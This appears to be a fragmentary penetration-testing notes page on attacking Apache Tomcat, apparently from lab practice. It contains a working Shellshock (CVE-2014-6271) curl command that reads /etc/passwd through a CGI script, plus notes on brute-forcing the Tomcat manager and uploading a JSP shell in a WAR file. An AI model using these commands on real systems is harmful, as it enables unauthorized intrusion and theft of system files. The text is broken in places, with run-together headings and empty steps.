rce
#CVE-2014-6271
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgiAttacking Tomcat
Check If we can access /manager or /host-managerMSF module - tomcat_mgr_login
Python script
|__ -Path /manager#Many tomcat installations provides GUI interface to manage application.
Locate at /manager/html
#You can place JSP file into war file and upload on server.Create a .war file
Run commands:
Attacking tomcat CGI applications
Last updated